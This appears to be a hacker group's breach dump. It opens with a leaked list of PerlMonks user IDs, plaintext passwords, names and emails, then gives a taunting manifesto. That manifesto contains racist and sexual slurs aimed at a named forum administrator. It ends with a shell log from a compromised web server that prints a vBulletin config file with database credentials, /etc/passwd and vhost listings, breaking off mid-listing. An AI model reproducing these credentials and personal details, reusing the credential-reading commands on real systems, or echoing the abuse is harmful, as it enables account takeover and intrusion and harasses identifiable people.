lemming@quirkyqatz.com 16627 472157 kNBiajNF Chris Williams chris@bingosnet.co.uk 16628 163790 AB3I384U Dave Sherohman dave@sherohman.org 16629 116937 zoom_zzz Raymond Field raymond@mvine.com 16630 258928 redlip Ted Cantrall MonkMan at cantrall.net 16631 178658 735140 David Hisel david@hisel.com 16632 502458 A2cLCIFc simon lepetitalbert@gmail.com 16633 139427 ginasmom Aaron Johnson solution@gina.net 16634 416961 la0S99 Vidul Petrov root@vidul.com 16635 201687 evg672 Bart Vetters robartes@nirya.be 16636 336451 oiabm Emile Aben emileaben@yahoo.com 16637 343950 phabphab Emanuele Zeppieri emazep@tiscali.it 16638 110201 t4H3b9x2 David A. Desrosiers desrod@gnu-designs.com 16639 47597 9346kpk Alex J. Avriette avriette@gmail.com 16640 253850 theman Ollie perlmonks@kwaping.com 16641 247561 svsingh Sanjay Singh s@sanvash.com 16642 65521 9jfyi4cj John Joseph Trammell johntrammell@yahoo.com 16643 49324 caltemp7 Kerry Schwab Kerry.Schwab@gmail.com 16644 80543 palin75 rws rws1111@gmail.com 16645 17361 Mn1tyEiD David Wollmann converter42@gmail.com 16646 29600 0bvious Brad Bowman bsb-monk@bereft.net 16647 277600 3l33tj$ Joel Steele injunjoel@hotmail.com 16648 41288 myperlm Jeroen Elassaiss-Schaap jeroen.elassaiss@organon.com 16649 177604 okkinnam b mannikko bmannikko@gmail.com 16650 36507 Thd,th2. jynx jynx.d.mouse@gmail.com 16651 45946 wingding Mark Beihoffer mark@dragonfly-7.com 16652 103344 type895 Ryszard ba09@yahoo.com 16653 290288 asdf1234 Plankton sheldonplankton@yahoo.com 16654 137449 usblues Peter Farabaugh pete@tbe.net 16655 74129 baby96 barrd barrd@mac.com 16656 438717 ultim8 William Witteman wow@nerd.cx 16657 205152 290685kj Yuval Kogman nothingmuch@woobling.org 16658 2610 t1jpmpw John Berthels jjberthels@gmail.com 16659 212789 kl0nd1k3 Jim Dwyer jdwyeror@earthlink.net 16660 468061 zaxxon Hal Skinner hgskinner@gmail.com 16661 240337 8k3d9a1L Curt Tilmes curt@tilmes.org 16662 332319 coocf75 Ronnie Neumann ronnie.neumann@t-online.de 16663 460541 engin33r Peter p_r_payne_2005@yahoo.com.au 16664 272682 Gjhf9HFi Eyck Wigo pmspam@forumakad.pl 16665 91903 123456 Heise2k siragtar@yahoo.com 16666 12207 buddha Kevin Meltzer perlguy@perlguy.com 16667 83012 gopherit Ned Konz ned@bike-nomad.com 16668 394960 29f9u46w Sam Crawley sam_crawley@warpmail.net 16669 73487 vatsuG Gustav Schaffter gustav@schaffter.com 16670 489671 iXCn8,Ve David Serrano dserrano5@gmail.com 16671 133139 r0cknr0l Bill Beesley bill@beesley.org 16672 231169 1963punk punkish punkish@eidesis.org 16673 235663 plef350 Thomas Sibley tom+pm@zulutango.org 16674 464937 RR!0cske Rick Rose rickroseaus@netscape.net 16675 7824 monkery frank booth frankus@gmail.com 16676 197321 pmpass12 jason woodward woodwardj@jaos.org 16677 56130 pmken5 Ken Hirsch kenhirsch@myself.com 16678 509638 dogmatix Dylan Martin dmartin@sccd.ctc.edu 16679 2329 flembok Stephen Nelson senelson@tdl.com 16680 393886 henhen Edward WIJAYA ewijaya@singnet.com.sg 16681 512600 713pmKai Kai Sengpiel kai@sengpiel.name 16682 211693 worduppm Damon Allen Davison damon.davison@gmail.com 16683 90987 $money Matt Sanford MZSanford@cpan.org 16684 37222 titpomRu Gareth Morris tenex50@hotmail.com 16685 189756 24Rf988R public@liquidfusion.org.uk 16686 38800 isN9v0mn 16687 555959 mechanic ponnivalavan valavanp@gmail.com 16688 5539 delphi1 Jonathan Hopkinson jonathan.hopkinson@rbos.com 16689 10795 kenny El Warren elwarren@yahoo.com 16690 28290 capslock Dennis Sutch dennis@sutch.com 16691 123017 hello Joe Cullin pm@joecullin.com 16692 67820 melville Willem Basson 16693 3568 dirkgent Martijn xchoasx@gmail.com 16694 85161 virgin Steve spatz@penn.com 16695 600445 Cobra200 David Richey dmrichey17@gmail.com 16696 150658 BaSf6723 R. S. J. Thompson rozallin@livejournal.com 16697 222702 wi0432k parv parv@pair.com 16698 127435 al3j5m22 Richard Voß info@fruiture.de 16699 264639 maddan. David Pointon david.pointon@unix.net 16700 27919 tomas Jouke Visser jouke@pvoice.org 16701 523944 8181-onn Clinton Gormley clint@traveljury.com 16702 141786 IFTMfhVb T Hill tjhnow@yahoo.com 16703 16834 jMKhTQ3r Briac briac(at)pilpre(dot)com 16704 272364 atla5boo Brian Wightman brian-perlmonks@wightmanfam.org 16705 176753 sol26 Uriel uriel_lizama@hotmail.com 16706 565709 lechat Lino Ramirez Lino.M.Ramirez@gmail.com 16707 6035 xsv2200 Er Galvao Abbott galvao@perl.org.br 16708 129189 n0tg0nna Benjamin Smith defitro@gmail.com 16709 43894 caliban Ariel Scolnicov ariels+pm@compugen.co.il 16710 9463 Geekb0y brian burnout@comradeburnout.com 16711 209263 hermin Erick Nelson erick_nelson@homedepot.com 16712 11400 ]f/#3Ow Joseph Harnish big_joe1008@yahoo.com 16713 129551 fj2CUaPY David Toso erroneousBollock@gmail.com 16714 123137 foo9bar sean educated_foo@yahoo.com 16715 460726 I7NYstat fenLisesi@gmail.com 16716 647953 easter Mike Robinson sundial.services@gmail.com 16717 8911 realtime Matt Rosin mattr@telebody.com 16718 189168 rad1an5 Leif Eriksen 16719 102902 d02g19 DG DamnDirtyApe@MutantMail.com 16720 21569 tffqea Matt Diephouse matt@diephouse.com 16721 8836 WqacX8NK Adam Thomason thomason@reticulatedsplines.net 16722 323154 1154 Imre perlmonks.org@saling.ch 16723 12209 redstar clintp clintp_PM@geeksalad.org 16724 233158 physc001 Stephen Williams sunadmn@yahoo.com 16725 415035 envagyok Gabor Szabo gabor@perl.org.il 16726 347753 p1e51a valued customer scooterm@hotmail.com 16727 18122 Apple! AgentM agentm@themactionfaction.com 16728 174110 r4ut4tie roke@persaukiset.org 16729 239281 elminste Arden arden.meyer@afccc.af.mil 16730 125487 GWBMZIUY Jacinta Richardson jarich@perltraining.com.au 16731 83713 x3L3nt k web@khay.org 16732 71198 diddums9 Anthony Staines Anthony.Staines@ucd.ie 16733 7056 enterEduardo Arino de la Rubia ed@arino.net 16734 114324 whocares Frank Bardelli fbardelli@nyc.rr.com 16735 45674 movies24 Amy Bratty ldyhwke24@yahoo.com 16736 125863 Wej99hVP Peppi Vecchio pvecchio@orangelake.com 16737 52296 sidewind Rob Svirskas robsv@yahoo.com 16738 244306 blacksun Dan Hetrick dhetrick@riotmod.com 16739 59285 ziag3E,t Drake Wilson ww7glvc02@sneakemail.com 16740 35324 catbite Gary Blackburn gblackburn@mac.com 16741 136291 54buenav John J Reiser jr@newrisedesigns.com 16742 236234 b00b33 Ephraim Dan ephraim_dan@yahoo.com 16743 31011 4lc4tr4z Ralf Buescher buescher@hotmail.com 16744 97646 com.mc Mark Ceulemans mark.ceulemans@yucom.be 16745 10158 AmOL4KPN Andy Ford andyford@agedwards.com 16746 19840 poople Michael Villeneuve michaelv@nortelnetworks.com 16747 31063 perl625 Rhet Turnbull rturnbull@gmail.com 16748 152175 monello Immanuel Lasker ilasker@hotmail.com 16749 277103 talisman Daniel Inman daniel@danielinman.com 16750 243154 replaced perlscienceman@hotmail.con 16751 23324 catfood j s jptxs@yahoo.com 16752 493758 korwa Mike Oron moronisch@netscape.net 16753 1553 code+bal Made in the Dark mitd@mitd.com 16754 91846 fafixexe Dan MacNeil dan@ltc.org 16755 33990 cxzdoeze Regina Burbach wurzelchen@gmx.de 16756 200365 XuttuX H.Merijn Brand h.m.brand@xs4all.nl 16757 59207 stef1020 scott stefanoski scottstef@yahoo.com 16758 512341 q1w2e3r4 leo charre 16759 260843 careca Luis Motta Campos monsieur_champs@yahoo.com.br 16760 20513 spiral Mark Stosberg mark@summersault.com 16761 154438 ZdMFNZCU Bruce Gray bruce.gray@acm.org 16762 69394 Shannon. Chuck Charbeneau chuck@saraandchuck.com 16763 185225 was2was Waswas waswas@fallon.com 16764 41758 pop andye 16765 221484 ocard1 Alan Cameron paladin@techmonkeys.org 16766 59896 guessme Tom Hukins tom@eborcom.com 16767 150245 g@bb@ Logan Hawkes logan.hawkes@gmail.com 16768 85506 p5.1mo_n Torsten Hofmann T.E.Hofmann@gmx.de 16769 58682 100%Fun Scott Cain scain@athersys.com 16770 387687 kuchi 16771 79379 HONXjahc GRAQ perlmonks@graq.co.uk 16772 126041 foom1138 Steven Bach moof1138@mac.com 16773 169603 TuTmoSiS moxliukas moxliukas@delfi.lt 16774 81423 Westol Daniel J. Wright perlmonk@dwright.org 16775 55272 abmayfai Bart Parliman bartp@lanl.gov 16776 275605 brutto Mario Kasparov mariokasparov@hotmail.com 16777 694676 mg92292 Marc saikiattrick@gmail.com 16778 43868 CapsLock epoptai epoptai@monmouth.com 16779 712372 grmblv Kenneth Kroenlein kkroenlein@gmail.com 16780 31280 snoopy:m Christian Lemburg lemburg@acm.org 16781 115801 codec0MP Jay Bonci jaybonci@everything2.com 16782 495617 puniseth Punitha puni_5984@yahoo.co.in 16783 341073 sommex Frank Wiegand frank@kcet.de 16784 252827 Jack$58c alex knowles alex@alixandalex.com 16785 89172 reklaw Jim Walker jim@jameswwalker.com 16786 366581 esel23 tivolimonk@gmx.at 16787 125121 MonkPerl Scott T. Hildreth shildreth@emsphone.com 16788 16314 monkme Rich Williams rdw@perldog.com 16789 485015 7C2dD85d Dean Arnold darnold@presicient.com 16790 110814 fickling Red Haring perlmonks@nolaflash.com 16791 5094 dhbim?84 Stefan Kamphausen pm@skamphausen.de 16792 52492 ewt1618 azatoth 16793 289824 isaac01 Joe hteam1@mindspring.com 16794 5999 hab4r0mo Diego Zamboni zamboni@acm.org 16795 132180 princess se sgetty@email.com 16796 446719 IIceOEEP kyoshu kyoshu@gmail.com 16797 5406 nangell Chip Salzenberg chip@pobox.com 16798 74757 fcb093 Jasmine dmerced@uark.edu 16799 270952 tygger Bryan bryan42@gmail.com 16800 326696 6aWMOZ3X rvosa rvosa@sfu.ca 16801 615480 iIfjafF8 Miguel Pignatelli miguel.pignatelli@uv.es 16802 11052 8901172 Mike Imamura zoogie@lugatgt.org 16803 46495 jklop peter allen peter_allen@ibi.com 16804 19314 vandalia Maverick maverick@smurfbane.org 16805 219414 dRUA69La Mark Mielke mark@mark.mielke.cc 16806 66950 omega+7 Charles Reiss gtg303y@mail.gatech.edu 16807 48685 electron David Dorward david@dorward.me.uk 16808 128665 strange Gavin gav@japh.org 16809 424604 ab12cd34 G. Allen Morris III gam3-perlmonk@gam3.net 16810 395537 ashokjes Anthony Jesu Ashok anjeas_net@yahoo.com 16811 116575 Ferber21 Steve Sapovits sapovitss@gsicommerce.com 16812 5565 acimox 16813 227005 yatzee Cees Hek cees@sitesuite.com.au 16814 628526 vg89re Adam Marquis adam@adammarquis.com 16815 131128 blocked russell cecala blocked 16816 68278 tje911 Bradley K. Embree bke@bkecc.com 16817 52855 d8kz3io 16818 7102 hJcljtmZ Ken Ray kenr86@hotmail.com 16819 122163 jonny5 Joshua Kruck joshua.kruck@gmail.com 16820 115693 dainese1 Tiago tstock@tiago.com 16821 85412 CTjUCabf Charles K. Clarkson cclarkson@htcomp.net 16822 131381 mushin69 CJ Carlisle CJ_Carlisle@hotmail.com 16823 522408 cosapopt João Sil sil@co.sapo.pt 16824 59531 hortense Dan Collis Puro dpuro@mindspring.com 16825 146276 tarpskca jsprat jack_sprat49@hotmail.com 16826 287302 viscus Steffen Müller 16827 51515 n3k57 Cory Johns darkness@yossman.net 16828 409485 tUI24JEX Thilo Planz thilo@cpan.org 16829 60407 email Thimal Jayasooriya timmy_jay18@yahoo.com 16830 196557 m9fg-wWc vwvwvwv 16831 618967 AD997NfY Erez Schatz erez.schatz@gmail.com 16832 40469 vsmelt Tim Rayner tfrayner@ntlworld.com 16833 150584 pillittu Roberto Nahi robertonahi@hotmail.com 16834 23227 n8UPDIED Steve West steve@lemniscate.net 16835 136567 puck Mike costa@cs.colostate.edu 16836 1598 $eam0ns Paul Seamons paul@seamons.com 16837 114167 p4j4$0 Giulio Motta blut@postmaster.co.uk 16838 108432 fa4ci2le Ben Bumgarner ben@pushdownstairs.com 16839 162080 fiets0 Jaap perlmonks.org@teun.demon.nl 16840 46399 aQu7OMVc Kent Reeve TheReeve@aol.com 16841 53018 863ITHBJ Pieter Allaer pieter_allaer@valor.com 16842 101553 4OkOMAfi Rex Corrovan rex555@hotmail.com 16843 7873 techcurv Brett Sanger swiftone@swiftone.org 16844 63769 p3rlp1l0 Jason mrpilot@cox.net 16845 694914 G7hEMfdP dHarry hmetselaar@gmail.com 16846 53043 jjd7373 Jeremy Deterick j.deterick@att.net 16847 363655 whitenov Lane VanHout lane@cityassist.com 16848 11332 niwi02 kulesa@netzero.net 16849 607636 bukanbir Hasanuddin Tamir hasant@gmail.com 16850 21732 bookmonk BooK book@mongueurs.net 16851 399498 Ad4mned Eric nospam@yahoo.com 16852 400549 U2W7Ckdj Dave dave@socket.net 16853 96169 KihIeZXW Christopher Yocum cyocum@gmail.com 16854 29772 dave dave drus415@aol.com 16855 16856 In case you guys are worried, we did NOT backdoor dozens of your public Perl 16857 projects. Honest. Why would we want to do that? 16858 16859 Not worth our time ;) 16860 16861 16862 | 16863 \ / _\/_ 16864 elitehackers .-'-. //o\ _\/_ 16865 -- / \ -- | /o\\ 16866 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 16867 A shot gun blast into the face of deceit | 16868 You'll gain your just reward. 16869 We'll not rest until the purge is complete 16870 You will reap what you've sown. 16871 My redemption lies in your demise. 16872 16873 16874 For those of you who don't know, elitehackers.com/info has been a breeding 16875 ground for skiddies since the 90's or something before the web 2.0 fuzz, when 16876 ping-of-death was king and when phreaking was cool. 16877 16878 The admins/mods live in the past so when some idiot joins and posts "HOW CAN I 16879 HAX WITH TELNET" flame furry is unleashed upon them and links such as 16880 catb.org/esr/faqs/hacker-howto.html are thrown around. They're just the source 16881 of misinformation and plain stupidity, nobody knows how to write half-decent 16882 code and of course nobody actually bothers with hacking or anything closely 16883 related. 16884 16885 We had to own them because they did claim awesome system administration skillz 16886 and how nobody has ./hax0red them since the 90's and of course they claim to be 16887 ELITE hackers, although our awesome investigation skillz have failed us to find 16888 any kind of hackers there. 16889 16890 Why this site is still even running is a mystery, it's just a waste of 16891 bandwidth. 16892 16893 Napta the elite system administrator who administers and secures this piece of 16894 crap on the internet loves to show off his "awesome" ./administration skillz at 16895 http://ajclark.wordpress.com if you have issues with your bowel movement and 16896 can't take a decent crap we highly suggest Napta's blog as a laxative. 16897 16898 Talking about Napta, he's a loner kid from the UK who suffers from egomania 16899 because his weewee is too small. He is mixed race between a chinese and a 16900 herpes infected 12 year old Filipino prostitute, thus he cannot get laid and 16901 must flood the internet with bullcrap to feel better about himself. 16902 16903 Let's see how awesome this Chinese-Filipino half-breed is. 16904 16905 www-data@blaze:/var/vhosts/elitehackers.info/public_html/forums/includes$ id 16906 uid=33(www-data) gid=33(www-data) groups=33(www-data) 16907 www-data@blaze:/var/vhosts/elitehackers.info/public_html/forums/includes$ uname 16908 -a 16909 Linux blaze.nixnetworks.net 2.6.18.8-linode10 #2 SMP Sat Jul 19 20:24:32 EDT 16910 2008 i686 GNU/Linux 16911 www-data@blaze:/var/vhosts/elitehackers.info/public_html/forums/includes$ cat 16912 config.php 16913 <?php 16914 /*======================================================================*\ 16915 || #################################################################### || 16916 || # vBulletin 3.6.0 - Licence Number VBFAB23322 16917 || # ---------------------------------------------------------------- # || 16918 || # All PHP code in this file is ©2000-2006 Jelsoft Enterprises Ltd. # || 16919 || # This file may not be redistributed in whole or significant part. # || 16920 || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || 16921 || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || 16922 || #################################################################### || 16923 \*======================================================================*/ 16924 16925 /*-------------------------------------------------------*\ 16926 | ****** NOTE REGARDING THE VARIABLES IN THIS FILE ****** | 16927 +---------------------------------------------------------+ 16928 | If you get any errors while attempting to connect to | 16929 | MySQL, you will need to email your webhost because we | 16930 | cannot tell you the correct values for the variables | 16931 | in this file. | 16932 \*-------------------------------------------------------*/ 16933 16934 // ****** DATABASE TYPE ****** 16935 // This is the type of the database server on which your vBulletin 16936 database will be located. 16937 // Valid options are mysql and mysqli. Try to use mysqli if you 16938 are using PHP 5 and MySQL 4.1+ 16939 $config['Database']['dbtype'] = 'mysql'; 16940 16941 // ****** DATABASE NAME ****** 16942 // This is the name of the database where your vBulletin will be 16943 located. 16944 // This must be created by your webhost. 16945 $config['Database']['dbname'] = 'eh2005_ehforums'; 16946 16947 // ****** TABLE PREFIX ****** 16948 // Prefix that your vBulletin tables have in the database. 16949 $config['Database']['tableprefix'] = 'vb3_'; 16950 16951 // ****** TECHNICAL EMAIL ADDRESS ****** 16952 // If any database errors occur, they will be emailed to the 16953 address specified here. 16954 // Leave this blank to not send any emails when there is a 16955 database error. 16956 $config['Database']['technicalemail'] = 'nighthalk@elitehackers.info'; 16957 16958 // ****** FORCE EMPTY SQL MODE ****** 16959 // New versions of MySQL (4.1+) have introduced some behaviors that are 16960 // incompatible with vBulletin. Setting this value to "true" disables 16961 those 16962 // behaviors. You only need to modify this value if vBulletin 16963 recommends it. 16964 $config['Database']['force_sql_mode'] = false; 16965 16966 16967 16968 // ****** MASTER DATABASE SERVER NAME AND PORT ****** 16969 // This is the hostname or IP address and port of the database 16970 server. 16971 // If you are unsure of what to put here, leave the default 16972 values. 16973 $config['MasterServer']['servername'] = 'localhost'; 16974 $config['MasterServer']['port'] = 3306; 16975 16976 // ****** MASTER DATABASE USERNAME & PASSWORD ****** 16977 // This is the username and password you use to access MySQL. 16978 // These must be obtained through your webhost. 16979 $config['MasterServer']['username'] = 'eh2005_halk'; 16980 $config['MasterServer']['password'] = '01pepsi01'; 16981 16982 // ****** MASTER DATABASE PERSISTENT CONNECTIONS ****** 16983 // This option allows you to turn persistent connections to MySQL 16984 on or off. 16985 // The difference in performance is negligible for all but the 16986 largest boards. 16987 // If you are unsure what this should be, leave it off. (0 = off; 16988 1 = on) 16989 $config['MasterServer']['usepconnect'] = 0; 16990 16991 16992 16993 // ****** SLAVE DATABASE CONFIGURATION ****** 16994 // If you have multiple database backends, this is the information 16995 for your slave 16996 // server. If you are not 100% sure you need to fill in this 16997 information, 16998 // do not change any of the values here. 16999 $config['SlaveServer']['servername'] = ''; 17000 $config['SlaveServer']['port'] = 3306; 17001 $config['SlaveServer']['username'] = ''; 17002 $config['SlaveServer']['password'] = ''; 17003 $config['SlaveServer']['usepconnect'] = 0; 17004 17005 17006 17007 // ****** PATH TO ADMIN & MODERATOR CONTROL PANELS ****** 17008 // This setting allows you to change the name of the folders that 17009 the admin and 17010 // moderator control panels reside in. You may wish to do this for 17011 security purposes. 17012 // Please note that if you change the name of the directory here, 17013 you will still need 17014 // to manually change the name of the directory on the server. 17015 $config['Misc']['admincpdir'] = 'acp'; 17016 $config['Misc']['modcpdir'] = 'mcp'; 17017 17018 // Prefix that all vBulletin cookies will have 17019 // Keep this short and only use numbers and letters, i.e. 1-9 and 17020 a-Z 17021 $config['Misc']['cookieprefix'] = 'ehbb'; 17022 17023 // ******** FULL PATH TO FORUMS DIRECTORY ****** 17024 // On a few systems it may be necessary to input the full path to 17025 your forums directory 17026 // for vBulletin to function normally. You can ignore this setting 17027 unless vBulletin 17028 // tells you to fill this in. Do not include a trailing slash! 17029 // Example Unix: 17030 // $config['Misc']['forumpath'] = 17031 '/home/users/public_html/forums'; 17032 // Example Win32: 17033 // $config['Misc']['forumpath'] = 'c:\program files\apache 17034 group\apache\htdocs\vb3'; 17035 $config['Misc']['forumpath'] = 17036 '/usr/local/www/vhosts/elitehackers.info/httpdocs/forums'; 17037 17038 17039 17040 17041 // ****** USERS WITH ADMIN LOG VIEWING PERMISSIONS ****** 17042 // The users specified here will be allowed to view the admin log 17043 in the control panel. 17044 // Users must be specified by *ID number* here. To obtain a user's 17045 ID number, 17046 // view their profile via the control panel. If this is a new 17047 installation, leave 17048 // the first user created will have a user ID of 1. Seperate each 17049 userid with a comma. 17050 $config['SpecialUsers']['canviewadminlog'] = '1,8058'; 17051 17052 // ****** USERS WITH ADMIN LOG PRUNING PERMISSIONS ****** 17053 // The users specified here will be allowed to remove ("prune") 17054 entries from the admin 17055 // log. See the above entry for more information on the format. 17056 $config['SpecialUsers']['canpruneadminlog'] = '1,8058'; 17057 17058 // ****** USERS WITH QUERY RUNNING PERMISSIONS ****** 17059 // The users specified here will be allowed to run queries from 17060 the control panel. 17061 // See the above entries for more information on the format. 17062 // Please note that the ability to run queries is quite powerful. 17063 You may wish 17064 // to remove all user IDs from this list for security reasons. 17065 $config['SpecialUsers']['canrunqueries'] = ''; 17066 17067 // ****** UNDELETABLE / UNALTERABLE USERS ****** 17068 // The users specified here will not be deletable or alterable 17069 from the control panel by any users. 17070 // To specify more than one user, separate userids with commas. 17071 $config['SpecialUsers']['undeletableusers'] = '8058'; 17072 17073 // ****** SUPER ADMINISTRATORS ****** 17074 // The users specified below will have permission to access the 17075 administrator permissions 17076 // page, which controls the permissions of other administrators 17077 $config['SpecialUsers']['superadministrators'] = '1,8058'; 17078 17079 // ****** DATASTORE CACHE CONFIGURATION ***** 17080 // Here you can configure different methods for caching datastore 17081 items. 17082 // vB_Datastore_Filecache - for using a cache file 17083 // $config['Datastore']['class'] = 'vB_Datastore_Filecache'; 17084 // vB_Datastore_Memcached - for using a Memcache server 17085 // It is also necessary to specify the hostname or IP address and the 17086 port the server is listening on 17087 // $config['Datastore']['class'] = 'vB_Datastore_Memcached'; 17088 // $config['Misc']['memcacheserver'] = '127.0.0.1'; 17089 // $config['Misc']['memcacheport'] = '11211'; 17090 17091 // ****** The following options are only needed in special cases ****** 17092 17093 // ****** MySQLI OPTIONS ***** 17094 // When using MySQL 4.1+, MySQLi should be used to connect to the 17095 database. 17096 // If you need to set the default connection charset because your 17097 database 17098 // is using a charset other than latin1, you can set the charset here. 17099 // If you don't set the charset to be the same as your database, you 17100 // may receive collation errors. Ignore this setting unless you 17101 // are sure you need to use it. 17102 // $config['Mysqli']['charset'] = 'utf8'; 17103 17104 // Optionally, PHP can be instructed to set connection parameters 17105 by reading from the 17106 // file named in 'ini_file'. Please use a full path to the file. 17107 // Example: 17108 // $config['Mysqli']['ini_file'] = 'c:\program files\MySQL\MySQL 17109 Server 4.1\my.ini'; 17110 $config['Mysqli']['ini_file'] = ''; 17111 17112 /*======================================================================*\ 17113 || #################################################################### 17114 || # Downloaded: 01:36, Sat Aug 5th 2006 17115 || # CVS: $RCSfile: config.php.new,v $ - $Revision: 1.35 $ 17116 || #################################################################### 17117 \*======================================================================*/ 17118 17119 > 17120 17121 17122 www-data@blaze:/var/vhosts/elitehackers.info/public_html/forums/includes$ ls 17123 -al /var/vhosts 17124 total 13 17125 drwxr-xr-x 13 www-data www-data 1024 Aug 30 18:13 . 17126 drwxr-xr-x 16 root root 1024 Aug 31 15:20 .. 17127 drwxr-xr-x 5 blog.cactusx3 www-data 1024 Aug 31 16:56 blog.cactusx3.com 17128 drwxr-xr-x 5 blog.jamespero www-data 1024 Oct 28 13:57 blog.jamespero.com 17129 drwxr-xr-x 5 bullybreedresource www-data 1024 Aug 30 17:11 17130 bullybreedresource.com 17131 drwxr-xr-x 5 cactusx3 www-data 1024 Aug 30 17:08 cactusx3.com 17132 drwxr-xr-x 5 chaddavidwagner www-data 1024 Aug 30 17:09 chaddavidwagner.com 17133 drwxr-xr-x 5 da-family www-data 1024 Aug 30 17:09 da-family.net 17134 drwxr-xr-x 6 elitehackers www-data 1024 Oct 25 16:38 elitehackers.info 17135 drwxr-xr-x 5 fadedsanity www-data 1024 Aug 30 17:10 fadedsanity.com 17136 drwxr-xr-x 4 jamespero www-data 1024 Aug 30 18:13 17137 james.nixnetworks.net 17138 drwxr-xr-x 5 jamespero www-data 1024 Oct 28 13:56 jamespero.com 17139 drwxr-xr-x 5 nixnetworks www-data 1024 Aug 31 15:46 nixnetworks.net 17140 17141 17142 www-data@blaze:/var/vhosts/elitehackers.info/public_html/forums/includes$ cat 17143 /etc/passwd 17144 root:x:0:0:root:/root:/bin/bash 17145 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 17146 bin:x:2:2:bin:/bin:/bin/sh 17147 sys:x:3:3:sys:/dev:/bin/sh 17148 sync:x:4:65534:sync:/bin:/bin/sync 17149 games:x:5:60:games:/usr/games:/bin/sh 17150 man:x:6:12:man:/var/cache/man:/bin/sh 17151 lp:x:7:7:lp:/var/spool/lpd:/bin/sh 17152 mail:x:8:8:mail:/var/mail:/bin/sh 17153 news:x:9:9:news:/var/spool/news:/bin/sh 17154 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 17155 proxy:x:13:13:proxy:/bin:/bin/sh 17156 www-data:x:33:33:www-data:/var/www:/bin/sh 17157 backup:x:34:34:backup:/var/backups:/bin/sh 17158 list:x:38:38:Mailing List Manager:/var/list:/bin/sh 17159 irc:x:39:39:ircd:/var/run/ircd:/bin/sh 17160 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh 17161 nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 17162 sshd:x:100:65534::/var/run/sshd:/usr/sbin/nologin 17163 napta2k:x:1000:1000:Allan Clark,,,:/home/napta2k:/bin/bash 17164 George:x:1001:1001:George Fischer,,,:/home/George:/bin/bash 17165 postfix:x:101:104::/var/spool/postfix:/bin/false 17166 mysql:x:102:106:MySQL Server,,,:/var/lib/mysql:/bin/false 17167 proftpd:x:103:65534::/var/run/proftpd:/bin/false 17168 ftp:x:104:65534::/home/ftp:/bin/false 17169 elitehackers:x:1002:33::/var/vhosts/elitehackers.info:/sbin/nologin 17170 bullybreedresource:x:1003:33::/var/vhosts/bullybreedresource.com:/sbin/nologin 17171 cactusx3:x:1004:33::/var/vhosts/cactusx3.com:/sbin/nologin 17172 chaddavidwagner:x:1005:33::/var/vhosts/chaddavidwagner.com:/sbin/nologin 17173 da-family:x:1006:33::/var/vhosts/da-family.net:/sbin/nologin 17174 fadedsanity:x:1007:33::/var/vhosts/fadedsanity.com:/sbin/nologin 17175 jamespero:x:1008:33::/var/vhosts/jamespero.com:/sbin/nologin 17176 nixnetworks:x:1009:33::/var/vhosts/nixnetworks.net:/sbin/nologin 17177 bind:x:105:107::/var/cache/bind:/bin/false 17178 dovecot:x:106:108:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false 17179 vmail:x:5000:5000::/var/vmail:/bin/sh 17180 blog.jamespero:x:5001:33::/var/vhosts/blog.jamespero.com:/sbin/nologin 17181 blog.cactusx3:x:5002:33::/var/vhosts/blog.cactusx3.com:/sbin/nologin 17182 17183 17184 www-data@blaze:/var/vhosts/elitehackers.info/public_html$ ls -al 17185 total 12 17186 drwxr-xr-x 5 elitehackers www-data 1024 Oct 25 16:38 . 17187 drwxr-xr-x 6 elitehackers www-data 1024 Oct 25 16:38 .. 17188 -rw-r--r-- 1 elitehackers www-data 257 Sep 12 17:58 .htaccess 17189 -rw-r--r-- 1 elitehackers www-data 722 Apr 13 2008 favicon.ico 17190 drwxr-xr-x 19 elitehackers www-data 3072 Sep 12 19:50 forums 17191 d--------- 18 elitehackers www-data 3072 Aug 30 18:34 forums-vb.3.6.10p4 17192 -rw-r--r-- 1 elitehackers www-data 537 Apr 13 2008 robots.txt 17193 drwxrwxr-x 6 elitehackers www-data 1024 Nov 16 22:26 titanium 17194 17195 17196 www-data@blaze:/var/vhosts/elitehackers.info/public_html$ ls -al forums 17197 total 3153 17198 drwxr-xr-x 19 elitehackers www-data 3072 Sep 12 19:50 . 17199 drwxr-xr-x 5 elitehackers www-data 1024 Oct 25 16:38 .. 17200 -rw-r--r-- 1 elitehackers www-data 10509 Sep 12 17:02 LICENSE 17201 -rw-r--r-- 1 elitehackers www-data 19276 Apr 13 2008 accessmask.php 17202 drwxr-xr-x 3 elitehackers www-data 2048 Sep 12 17:02 acp 17203 -rw-r--r-- 1 elitehackers www-data 39083 Apr 13 2008 admincalendar.php 17204 -rw-r--r-- 1 elitehackers www-data 48868 Apr 13 2008 admininfraction.php 17205 -rw-r--r-- 1 elitehackers www-data 17824 Apr 13 2008 adminlog.php 17206 -rw-r--r-- 1 elitehackers www-data 8214 Apr 13 2008 adminpermissions.php 17207 -rw-r--r-- 1 elitehackers www-data 25488 Apr 13 2008 adminreputation.php 17208 -rw-r--r-- 1 elitehackers www-data 21315 Sep 12 17:02 ajax.php 17209 -rwxr-xr-x 1 elitehackers www-data 66718 Sep 12 17:02 album.php 17210 -rw-r--r-- 1 elitehackers www-data 17128 Sep 12 17:02 announcement.php 17211 drwxr-xr-x 2 elitehackers www-data 1024 Apr 13 2008 archive 17212 drwxr-xr-x 4 elitehackers www-data 1024 Apr 13 2008 articlebot 17213 -rw-r--r-- 1 elitehackers www-data 17270 Sep 12 17:02 attachment.php 17214 -rw-r--r-- 1 elitehackers www-data 12240 Apr 13 2008 17215 attachmentpermission.php 17216 -rw-r--r-- 1 elitehackers www-data 19154 Apr 13 2008 avatar.php 17217 -rw-r--r-- 1 elitehackers www-data 7331 Apr 13 2008 backup.php 17218 -rw-r--r-- 1 elitehackers www-data 14198 Apr 13 2008 bbcode.php 17219 -rw-r--r-- 1 elitehackers www-data 75214 Sep 12 17:02 calendar.php 17220 -rw-r--r-- 1 elitehackers www-data 12112 Apr 13 2008 calendarpermission.php 17221 -rw-r--r-- 1 elitehackers www-data 43 Sep 12 17:02 clear.gif 17222 drwxr-xr-x 4 elitehackers www-data 2048 Sep 12 17:54 clientscript 17223 drwxr-xr-x 2 